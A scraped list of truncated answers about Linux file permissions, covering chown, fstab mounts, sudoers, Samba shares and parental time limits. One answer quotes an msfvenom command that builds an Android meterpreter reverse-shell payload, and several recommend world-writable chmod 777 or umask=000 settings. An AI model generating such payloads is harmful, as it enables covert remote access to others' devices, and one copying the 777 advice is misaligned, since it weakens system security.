New answers tagged

0

So after a little more research, I was able to solve my issue by creating a new group, and adding my user account and service account to it. Then, in fstab, I mounted the disks using my user account and the new group as the owner, and set it to auto-mount on startup. Now, upon boot, the disks are mounted and the services have access to them. Detailed ...


0

You need to change to "root" to do this. sudo -i # echo 128M > /sys/block/zram0/disksize


0

From the VLC log it is clear that socket bind has failed: main debug: net: opening 225.224.2.2 datagram port 1002 main error: socket bind error (Permission denied) consider that ports below 1024 are privileged and can only be bound with the equally privileged user. So you can either run VLC with sudo or change the port number. Also make sure that no ...


2

chown -R skorlam:skorlam /media/skorlam/76386420-a1f6-46cf-9a78-c382383a4eb11/ Will do the trick! What was wrong: The problem was that you were giving a relative path to the chown command. As this will work when your working path is the right one, containing the path you want to work on all will work fine. More about local and absolute paths can be ...


0

File permissions and vim (ro) warnings are not the same thing. If vim is giving you are ro warning on a file with 755 permissions, then, my guess is either the file is in use of was not saved. See http://superuser.com/questions/218262/how-to-get-rid-of-the-warnings-when-opening-a-file-that-has-a-swp-file or give details of the vim error. File permissions ...


1

You have two options, for both you'll need root access (sudo) to setup. Use sudo to allow a specific user to run /bin/date as root. man sudoers and man sudo to learn more. Use Linux' capability CAP_SYS_TIME to let /bin/date set time without root. man capabilities and man setcap to learn more. Complete guide could be found here: (read the two answers) ...


0

I think this is a trap in nfs4 a lot of people were faced, including me.In nfs4 you specify a sec= flavor and when not specified the default is AUTH_SYS which means sending local UIDs and GIDs to the server which are then compared. As far as I understood it, only when using a security flavor of the krb5* family the client sends the authentication as a ...


1

Not all will be solved by chowning it to root:root, try installing same Ubuntu version on another PC or VM, install all the packages you currently have installed and run this command: sudo find /etc -exec stat --format 'chown %U:%G %n' {} \; >> restore.sh It will write a script that contains permissions from healthy /etc with content like this: ... ...


0

It was all down to operator error. The file system I was trying to copy to was not ext2 in the end but FAT32. I did a mount -l and found: /dev/sdb1 on /media/malapradej/AB6E-FC7F type vfat (rw,nosuid,nodev,uid=1000,gid=1000,shortname=mixed,dmask=0077,utf8=1,showexec,flush,user_xattr,uhelper=udisks2)


0

The question is similar, but not equal to some others around here. I managed to fix this problem by rebooting into recovery mode, then using the following commands: mount -o rw,remount / This remounted the entire drive as read-write chown -hR root:root /etc This set the permissions to /etc back to user root and usergroup root.


-2

just run chmod -R 777 {path to the bin directiry}, this will assign permissions to all sub-items of the bin directory.


0

I figured out how to do this: Install GParted and plug on your USB drive. Once you opened GParted click the button on the upper-right corner, and select /dev/sdb. Right click on the bar that says /dev/sdb1 and click "unmount". Hover over "format to", then click ntfs. Open the terminal and write sudo mkdir /media/flash. Open GParted and repeat ...


3

You can solve it by adding the current used to dialout group. Run: sudo usermod -aG dialout $USER Then log off and log on. After that you will be able to write to serial devices without sudo permissions. If you do not want to give permanent permissions for serial devices, you can use a correct command: echo aaa | sudo tee /dev/ttyS0


1

You can try Samba. Please look at: what is samba and how to use it


5

First, by having inotifywait -e moved_to only monitor for files moved to the target directory, you omit monitoring for files that were written or overwritten there, by, for example Filezilla. Add -e modify -e create to your command, or, unless you have a convincing reason to ignore some inotifywait events, discard all the -e whatever options. Second, by not ...


0

To resolve permissions related issues, with respect to Apache, giving 777 permission is not the way to do. The previous answers have explained the fact well. However, if you want your work to be done, you can change the owner of all the files in html directory to "www-data". This is because, Apache on installation, creates a user "www-data" and a group by ...


0

This article solved my issues with NTFS permissions: Mount NTFS partition at startup, with non-root user as owner The trick was to modify my NTFS drive's mount entry in my /etc/fstab file to use "ntfs-3g" with the "permissions" and "users" options. UUID=#### /mnt/MOUNTPOINT ntfs-3g defaults,permissions,users 0 0


0

Just change the owner of the folder by opening a terminal and: sudo chown myUsername:myUsername -R /var/www Where myUsername is your username


2

This is not a permission problem. It seems you deleted the PDF while the file is still in use by some application. In this case (on fuse-based file systems), the file is deleted and a .fuse_hidden-file is created and kept as long as someone is using the file (there is at least one open file descriptor referencing the file). This mimics the common concept of ...


0

I encountered the same issue today. Here is what I did: GIT_CURL_VERBOSE=1 git clone https://github.com/robbyrussell/oh-my-zsh.git This clones repository in curl verbose mode (curl is causing issue right now) Here is what I got Cloning into 'oh-my-zsh'... * Couldn't find host github.com in the .netrc file; using defaults * Hostname was NOT found in ...


1

Why not use new User Account (via System Settings). This is the only one method on Linux for "permissions". New user "SteamUser" should not be in sudoers (just a limited account). Then create second account called "SuperAdmin" and make it sudoers account (root access). But keep its password only with you. Then remove your son's account from sudoers. (sudo ...


4

Set a time- limit on a process or application With a small background script, you can set a time- limit on a process or application. As long as your user does not know the administrator's password, it is not surpassed too easily. The solution below Is such a small background script. It limits the usage per day to a defined number of minutes, to set in ...


4

From my own experience restricting access to computer games is one of the most challenging tasks in educating our kids. Of course we parents want them to use their computers mainly for school but this heavily conflicts with the kid's intentions. They will hate us for giving them hardware usable for school only. And of course we also want them to learn how ...


1

Following this post: I want to share my "/" in samba. How to make it editable in windows networking? By default, your Samba users are not going to have write access to the filesystem root. The easiest way to do this is to force a user. (Samba users will access the share using the local user's privileges.) Make sure that the user you ...


1

This can be achieved by using shell scripts. First script is to kill Steam as soon as it is run: #!/bin/bash while true do pkill steam sleep 1 done exit 0 Save it as /path/to/anyname.sh and add it to the list of start-up applications. What this script will do is that it will check any open process named steam every second and if it finds any ...


0

You'll have to setup an effective user and or effective group as part of you mount options. Make sure the user or group has the type of access you want to provide for for that share. You can also specify the type of file mask you want to be associated with the files and folders that user creates. This is an example to add to your options: ...


3

To fix it and conquer back all files in your home directory, run sudo chown -R $USER: ~ And for the future: Do not run GUI applications with sudo, but use for example gksu or at least sudo -i or sudo -H to prevent it from taking ownership of files in your home directory.


1

Simpliest way: You need to change the owner of those files: sudo chown `whoami` path/to/file Makes your current user (output of the command whoami) to the owner of the files. sudo chown -cR username:groupname path/to/folder Makes user username of group groupname owner of folder and all subfolders and files. The name of the group is probably the same ...


1

One certainly could filter out the permission denied errors with 2> /dev/null redirection, as it is an output from error stream. find -name "*.config" -perm /u+rw 2> /dev/null But also a good idea is to exclude those directories that give you problems with -path /some/dir/*pattern -prune -o -print. find / -path "./proc*" -prune -o -name ...


2

Open a file manager and click on the partition to mount it. Then, run the following command to gain full ownership of the partition and all contained files: sudo chown -R $USER:$USER /media/$USER/* or, sudo chown -R gsamaras:gsamaras "/media/gsamaras/a6cd1464-abf1-4a7b-b4a2-61f584d4cb32"


0

I don't if this will work in your situation but whats the harm in trying right ? why not create a user with the same name and uid as that hadoopuser sudo -i #adduser -u 1001 hadoopuser then try to access if didn't wroked which is the way it should become root sudo -i #chmod 666 foldername/ #chmod 666 foldername/* #chown -R yourlocaluser:yourlocaluser ...


0

I needed: sudo hp-setup Adding myself to the lp group + logout + login did not work. Tested on Ubuntu 15.10.


0

I was also face this problem , and I solve this problem. Open Your Terminal And run the command, sudo chmod -R 0700 /var/lib/sudo hope your problem solve now


0

Add an entry in the fstab file at: /etc/fstab for your device. With "exec" option, for example: UUID=6C046CDF046CADB0 /media/SAMSUNG ntfs rw,user,auto,exec 0 0


2

All files inside /usr/share/applications are owned by root:root. Here's the proof: % sudo find /usr/share/applications ! \( -user root -a -group root \) % So to fix that just run: sudo chown -R root:root /usr/share/applications


0

Please see any of the numerous Internet tutorials on Unix/Linux ownership and permissions, such as: http://www.tutorialspoint.com/unix/unix-file-permission.htm http://www.perlfect.com/articles/chmod.shtml http://linuxcommand.org/lts0070.php Those are simply some of the first hits that I got in a Web search. (The last one looks like the best for a ...


0

Did you run as root ? If the partition was not writable, probably the device is mounted as read-only, or you don't have permission to write.


1

After hours of searching, I discovered that the share name and the share directory cannot be the same (and it's not case-sensitive, either). See this post on serverfault. So, if I change my share name in smb.conf from: [Music] to [Tunes] I can both read and write to the share. No other changes to my smb.conf were necessary, and no need to chmod ...


0

I'm not sure if this would really constitute as a fix or not, but it's what I did to make it so that the users could write to their directory. chown -R ftpuser:ftpgroup /var/www Afterwards within /etc/apache2/envvars # Since there is no sane way to get the parsed apache2 config in scripts, some # settings are defined via environment variables and then ...


0

I solved reading this discussion. Changing my fstab file from /dev/sda3 /media/ntfs ntfs-3g silent,noatime,discard,umask=000,locale=it_IT.utf8 0 0 to /dev/sda3 /media/ntfs ntfs-3g exec,permissions,auto,silent,noatime,discard,umask=000,locale=it_IT.utf8 0 0 I added exec,permissions,auto


0

If what you mean with "root-folder" is the filesystem root (/), then you can do it using the command sudo thunar /.


0

Start thunar as root by invoking the command gksudo thunar but if sudo thunar


0

It seemed to be because of the settings in fstab. I had no exec-permissions set in the configuration Changing LABEL=linux /home ext4 rw,auto,user 0 1 to LABEL=linux /home ext4 rw,auto,user,exec 0 1 solved it.


0

I should just wait for the editor to open, just like steeldriver said.


2

If you run msfvenom -p android/meterpreter/reverse_tcp LHOST=ip R > filename.apk from a location you do not own creating the file filename.apk will result in a Permission denied. That is a well know security measure in Linux. In that case you need "sudo" in front of the command. Also to even run this command without getting piles of errors or to ...


2

Looking at Andre Herman Bezerra's answer, the only problem with this is pointed out in the comments this DOES NOT restrict the user to update only (they can install/remove packages). If you want to restrict a user to be able to update only you're better off doing the following. Create a group or use the %staff group. In this example, i'm choosing to use ...


0

Since your are referring to fstab I assume that this device will always be connected to your system. try this one mkdir -p /mnt/sdcard1 chmod 777 /mnt/sdcard1 and add the following line at the end of your fstab: /dev/sda1 /mnt/sdcard1 ext4 rw,user,exec,umask=000 0 0 Note: If the device is not presenting during the boot time, boot might take long ...


0

In your /etc/ssh/sshd_config file you should use the line: PasswordAuthentication no Reload the ssh configuration with: sudo service ssh reload It should now no longer be possible to log in using password based authentication, assuming you're using Ubuntu :)


0

You can run sudo visudo to edit the /etc/sudoers file. There, or can specify which users will be allowed to do which sudo commands. It is recommended to view the man page before (http://manpages.ubuntu.com/manpages/trusty/en/man5/sudoers.5.html) The deny special things write an ! in front of it. YourFriend = ALL=ALL, !*raspi.conf*


0

You should check the permissions of the folders used as Document Root in your configuration. Usually, apache uses the user www-data and you should ensure that this user has the required permissions. There is a very nice post about this topic here: ...



Top 50 recent answers are included